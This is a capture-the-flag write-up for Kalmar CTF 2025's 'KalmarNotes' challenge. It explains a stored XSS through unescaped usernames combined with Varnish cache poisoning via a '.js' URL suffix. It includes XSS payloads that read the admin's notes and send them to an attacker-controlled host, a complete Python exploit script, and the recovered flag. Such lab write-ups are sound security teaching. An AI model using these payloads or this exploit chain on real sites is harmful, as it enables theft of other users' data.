Kalmar CTF 2025 - KalmarNotes (XSS, Cache Poisoning)

Title: KalmarNotes (51 solves)
Description: Every CTF needs a note taking challenge, here is ours.
Attachment: kalmarnotes.zip

The challenge provided the full source code! I’ll introduce my approach to solve it. Let’s dive in together.

Analysis

The project structure of the challenge is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
src - templates
- base.html
- index.html
- login.html
- new_note.html
- notes.html
- register.html
- view_note_long.html
- view_note_short.html
- admin_bot.py
- app.py
- db.py
decault.vcl
docker-compose.yml
Dockerfile
requiirements.txt
supervisord.conf

I first examined admin_bot.py because its name caught my attention. After reviewing the file, I suspected that this challenge was related to XSS (Cross-Site Scripting). The final goal was to obtain the flag. So, the first step was to check where the flag was stored in the source code.

1
2
3
4
5
6
7
8
9
10
11
12
admin_pass = 'admin'
flag = os.getenv('FLAG', 'default_flag')
conn.execute('''
INSERT OR IGNORE INTO users (username, password)
VALUES (?, ?)
''', ('admin', admin_pass))

random_large_id = random.randint(1, 100000000000)
conn.execute('''
INSERT OR IGNORE INTO notes (id, user_id, title, content)
VALUES (?, 1, 'Flag', ?)
''', (random_large_id, flag))

According to the database structure, the flag is stored in the notes table, and it was written there by the admin.

This challenge includes several functionalities:

  1. Register / Login
  2. Create a Note – After registering and logging in, users can create notes.
  3. Read Notes – Only the author of a note can access and read it.
  4. Notes can be viewed in two formats: short and long.
  5. Report a Note via /api/report API

The most interesting functionality is the fifth one.

1
2
3
4
5
6
7
8
9
10
11
12
# app.py
@app.route('/api/report', methods=['POST'])
def report_note():
data = request.get_json()
url = data.get('url')
# ...
success = admin_bot.visit(url)

if success:
return jsonify({'message': 'Report submitted successfully'})
else:
return jsonify({'error': 'Failed to process report'}), 500

The report_note() function handles POST requests to the /api/report endpoint. It accepts a JSON object containing a url and then calls the visit() method of admin_bot, passing url as an argument. If it’s successful, it returns a success message. Otherwise, it returns an error message with a 500 status code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# admin_bot.py - AdminBot class
# A lot of codes have been omitted
def login(self):
hostname = os.getenv('HOSTNAME', 'localhost')
domain = f'http://localhost:80' if hostname == 'localhost' else f'https://{hostname}'

password = os.getenv('ADMIN_PASSWORD', 'kalmar')

self.driver.get(domain+'/login')

username_field = self.driver.find_element(By.NAME, 'username')
password_field = self.driver.find_element(By.NAME, 'password')

username_field.send_keys('admin')
password_field.send_keys(password)
password_field.submit()

def visit(self, note_url):
self.login()
self.driver.get(note_url)

Inside the AdminBot class, the visit() function performs the following steps:

  1. Calls self.login() to log in as the admin.
  2. Navigates to the provided note_url using self.driver.get(note_url).

Since only the note’s author can access a note, only the admin can read the flag.

I know that this type of code pattern is a characteristic of an XSS challenge. Then, Where is the XSS point?

XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!-- view_note_long.html -->
<div class="card-header bg-dark text-white">
<h2 class="mb-0">{{ note.title | safe }}</h2>
<small>Written by {{ username | safe }}</small>
</div>
<div class="card-body">
<div class="mb-3" style="white-space: pre-wrap; font-size: 1.1rem;">
{{ note.content | safe }}
</div>
<div class="mt-4">
<button class="btn btn-danger" onclick="deleteNote({{ note.id | safe }})">Delete Note</button>
<a href="/" class="btn btn-secondary">Back to Notes</a>
</div>
</div>

I checked for potential XSS.

  • notes are properly escaped when rendered, preventing XSS as follow codes.
  • However, usernames are not sanitized, making them vulnerable to XSS.
1
2
3
4
# db.py
# If you try to read note and get note's information...
from markupsafe import escape
escape(data)

As a result, XSS can be triggered when accessing /note/<int:note_id>/long. However, this only leads to self-XSS, meaning it affects only me and does not help obtain the flag.

Since only the author can access their own notes, reporting a note will not make the admin visit and trigger the XSS on my note. Let’s check this part in the code.

1
2
3
4
5
6
7
# db.py - get_note_by_id(self, note_id, user_id)
cursor = db.execute('''
SELECT id, title, content, user_id FROM notes WHERE id = ?
''', (note_id,))
row = cursor.fetchone()
if row and row[3] == user_id:
note = {'id': row[0], 'title': row[1], 'content': row[2], 'user_id': row[3]}

Cache Poisoning

When read a note, the system verifies whether the person reading the note (the currently logged-in user) is the same as the person who created it. At this point, I noticed default.vcl, which is a configuration file for Varnish. Varnish is a proxy, similar to Nginx.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
vcl 4.0;

backend default {
.host = "127.0.0.1";
.port = "3000";
}

sub vcl_hash {
hash_data(req.url);
if (req.url ~ "\.(js|css|png|gif)$") {
return (lookup);
}
}

sub vcl_recv {
if (req.url ~ "\.(js|css|png|gif)$") {
set req.http.Cache-Control = "max-age=10";
return (hash);
}
}

sub vcl_backend_response {
if (bereq.url ~ "\.(js|css|png|gif)$") {
unset beresp.http.Vary;
set beresp.ttl = 10s;
set beresp.http.Cache-Control = "max-age=10";
unset beresp.http.Pragma;
unset beresp.http.Expires;
}
}

sub vcl_deliver {
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
} else {
set resp.http.X-Cache = "MISS";
}
set resp.http.X-Cache-Hits = obj.hits;
}

This configures caching behaviour for a backend server running on 127.0.0.1:3000. In vcl_recv, It checks if the request is for static assets shuch as js, css, png, or gif. If it’s for static assets, sets Cache-Control: max-age=10 to cache the response for 10 seconds. And calls hash, which determines if the request should be served from the cache.

The issue is in vcl_hash, req.url is used as the cache key and includes the query parameters. For example, if req.url is https://callenge.com/note/1234/long.js, it could be cached as if it were a static file. As a result, unintended pages might be cached.

The strategy is to register an account with an XSS payload that will make the admin visit my web server, allowing me to extract the admin’s note containing the flag. Then, I create a new note and report it, ensuring that the admin reads the note. During this process, I need to obtain a token and the note_id. The details of these steps can be found in the exploit code.

This is the example of the XSS payload to create an account.

1
2
3
<script>fetch('/api/notes').then(res => res.text()).then(x => fetch('https://[YOUR-SERVER]?a='+btoa(x)))</script>
<script>fetch('/api/notes').then(res => res.text()).then(x => fetch('https://[YOUR-SERVER]?a='+JSON.stringify(x)))</script>
<script>fetch('/api/notes').then(res => res.json()).then(x => fetch(`https://[YOUR-SERVER]?note=${JSON.stringify(x)}`))</script>

Solution Summary

  1. Register with an XSS payload in the username – This payload will make the admin visit my server.
  2. Log in and obtain a token – Needed to interact with the API.
  3. Create a new note
  4. Extract the note_id – The created note must be reported to the admin.
  5. Poison the cache
  6. Report the note – This forces the admin to visit the poisoned page(=created note), triggering the XSS.

Once the XSS executes, it will send the admin’s note (containing the flag) to my server.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
import requests, random

HOST = 'https://2466de6efa8df489e1ddb0695238c7ec-57648.inst6.chal-kalmarc.tf/'

payload = '''
<script>fetch('/api/notes').then(res => res.text()).then(x => fetch('https://cyh2zc5z1wg0000ctd1ggxetxsyyyyyyb.oast.pro?a='+JSON.stringify(x)))</script>
'''.strip() + str(random.random())
print(payload)

# 1. Register with an XSS payload in the username
res = requests.post(
HOST + '/api/register',
json = {
'username': payload,
'password': payload
}
)
print(res.text)

# 2. Log in and obtain a token
res = requests.post(
HOST + '/api/login',
json = {
'username': payload,
'password': payload
}
)
print(res.text)

token = res.headers['Set-Cookie'].split('=')[1].split(';')[0]
print(repr(token))

headers = {
'Cookie': 'session=' + token
}

# 3. Create a new note
res = requests.post(
HOST + '/api/note/new',
headers = headers,
json = {
'title': 'a',
'content': 'a',
}
)
print(res.text)

# 4. Extract the note_id
res = requests.get(
HOST + '/api/notes',
headers = headers,
)

note_id = res.json()['notes'][0]['id']
post_url = HOST + f'note/{note_id}/long.js'
print(repr(post_url))

# 5. Poison the cache
res = requests.get(
HOST + f'note/{note_id}/long.js',
headers = headers,
)
print(res.text)

# 6. Report the note
res = requests.post(
HOST + '/api/report',
headers = headers,
json = {
'url': post_url,
}
)
print(res.text)

Flag

1
kalmar{c4ch3_m3_0ut51d3_h0w_b0w_d4h}